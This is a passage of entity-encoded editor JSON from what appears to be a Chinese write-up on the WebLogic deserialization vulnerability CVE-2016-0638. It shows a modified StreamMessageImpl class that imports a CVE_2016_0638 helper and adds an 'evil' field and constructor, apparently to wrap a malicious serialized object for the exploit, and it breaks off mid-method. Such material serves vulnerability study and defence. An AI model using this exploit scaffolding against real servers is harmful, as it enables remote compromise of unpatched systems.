}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PZMY-1677058209378&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rvI2-1677058209377&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uXlD-1677058209380&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;72dn-1677058209379&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SjOO-1677053018328&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GoEA-1677053018326&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;StreamMessageImpl类参照前文：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9zG3-1677058247013&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R50A-1677058244841&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ked2-1677058244840&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;package weblogic.jms.common;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dFtg-1677058244855&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UsM0-1677058244854&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GWyk-1677058244857&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KprT-1677058244856&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.*;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;THl5-1677058244859&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xY4a-1677058244858&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.InvocationTargetException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eCDV-1677058244861&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x5CK-1677058244860&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.jms.Destination;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;17xp-1677058244863&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MXLR-1677058244862&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.jms.JMSException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9MG3-1677058244865&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qHxs-1677058244864&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.jms.MessageEOFException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mY1F-1677058244867&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e6F7-1677058244866&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.jms.MessageNotWriteableException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xy0I-1677058244869&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2Iew-1677058244868&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.jms.StreamMessage;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dh33-1677058244871&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rN92-1677058244870&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.jms.JMSClientExceptionLogger;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h4eV-1677058244874&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b8NM-1677058244873&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.weblogcVul.CVE_2016_0638;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bjaK-1677058244876&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yubr-1677058244875&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public final class StreamMessageImpl extends MessageImpl implements StreamMessage, Externalizable {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F5eC-1677058244878&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;migk-1677058244877&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte EXTVERSION1 = 1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o2RW-1677058244880&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cfMa-1677058244879&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte EXTVERSION2 = 2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gqjZ-1677058244882&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9SpB-1677058244881&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte EXTVERSION3 = 3;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BWhU-1677058244884&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1Sqf-1677058244883&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte VERSIONMASK = 127;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JWZm-1677058244886&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GFIf-1677058244885&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    static final long serialVersionUID = 7748687583664395357L;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BdLi-1677058244888&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WBE7-1677058244887&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte UNKNOWN_TYPECODE = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N0dk-1677058244890&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iRE3-1677058244889&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte BOOLEAN_TYPE = 1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7m27-1677058244892&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KbqU-1677058244891&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte BYTE_TYPE = 2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i96A-1677058244894&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wo4s-1677058244893&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte CHAR_TYPE = 3;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xRXm-1677058244896&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;edJU-1677058244895&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte DOUBLE_TYPE = 4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d0kD-1677058244898&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6UnF-1677058244897&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte FLOAT_TYPE = 5;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Smop-1677058244900&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UrpJ-1677058244899&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte INT_TYPE = 6;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;61Ib-1677058244902&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yjP6-1677058244901&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte LONG_TYPE = 7;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eMK0-1677058244904&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y1U2-1677058244903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte SHORT_TYPE = 8;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1bWe-1677058244906&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9Au6-1677058244905&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte STRING_UTF_TYPE = 9;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;okT5-1677058244908&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tSVs-1677058244907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte STRING_UTF32_TYPE = 10;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aWyu-1677058244910&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r6zw-1677058244909&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte BYTES_TYPE = 11;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6LpI-1677058244912&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TwbU-1677058244911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte NULL_TYPE = 12;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q2K3-1677058244914&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RXx2-1677058244913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final String[] TYPE_CODE_STRINGS = new String[]{\&#34;invalid type code\&#34;, \&#34;boolean\&#34;, \&#34;byte\&#34;, \&#34;char\&#34;, \&#34;double\&#34;, \&#34;float\&#34;, \&#34;integer\&#34;, \&#34;long\&#34;, \&#34;short\&#34;, \&#34;String\&#34;, \&#34;String\&#34;, \&#34;byte array\&#34;, \&#34;null object\&#34;};&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K1N9-1677058244916&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OseB-1677058244915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final String ERROR_MSG_SEGMENT = \&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hn7W-1677058244918&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;81UU-1677058244917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private boolean readingByteArray;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ywv6-1677058244920&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tadj-1677058244919&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private int available_bytes;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UL7s-1677058244922&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;02Ev-1677058244921&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private transient PayloadStream payload;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CUPb-1677058244924&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ecVl-1677058244923&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private transient boolean copyOnWrite;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bqws-1677058244926&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AORw-1677058244925&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private transient BufferOutputStream bos;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yEaE-1677058244928&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YgCY-1677058244927&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private transient BufferInputStream bis;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eB8a-1677058244930&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eu19-1677058244929&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BcDi-1677058244932&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B2GO-1677058244931&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private Object evil ;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TBJH-1677058244934&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9lwb-1677058244933&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0G31-1677058244936&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1gXy-1677058244935&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public StreamMessageImpl() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t6T1-1677058244938&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f6iL-1677058244937&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e8f7-1677058244940&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hTJa-1677058244939&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public StreamMessageImpl(Object a) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MviE-1677058244942&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g0ap-1677058244941&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.evil = a;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bHtf-1677058244945&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pRV2-1677058244944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XzW0-1677058244947&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2uyB-1677058244946&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5RCT-1677058244949&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bwLN-1677058244948&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public StreamMessageImpl(StreamMessage var1) throws IOException, JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CEIU-1677058244951&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Li1j-1677058244950&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this(var1, (Destination)null, (Destination)null);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FPAU-1677058244953&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2GCD-1677058244952&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9YJG-1677058244955&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ltQv-1677058244954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qTvt-1677058244957&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dyAr-1677058244956&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public StreamMessageImpl(StreamMessage var1, Destination var2, Destination var3) throws IOException, JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9hfV-1677058244959&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sfP1-1677058244958&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        super(var1, var2, var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yra5-1677058244961&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Lqw7-1677058244960&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (!(var1 instanceof StreamMessageImpl)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KHHD-1677058244963&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BeHN-1677058244962&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.reset();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pZ8W-1677058244965&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P0yD-1677058244964&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LHdP-1677058244967&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DT1o-1677058244966&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HITo-1677058244969&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QvjP-1677058244968&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wfoa-1677058244971&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VNmk-1677058244970&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            while(true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XH7B-1677058244973&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qUtq-1677058244972&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.writeObject(var1.readObject());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Oeag-1677058244975&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t9oc-1677058244974&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;buPO-1677058244977&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4gsg-1677058244976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (MessageEOFException var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w6y6-1677058244979&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qvU1-1677058244978&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.reset();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pkl5-1677058244981&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DpPw-1677058244980&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.setPropertiesWritable(false);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rshm-1677058244983&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;H7BL-1677058244982&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        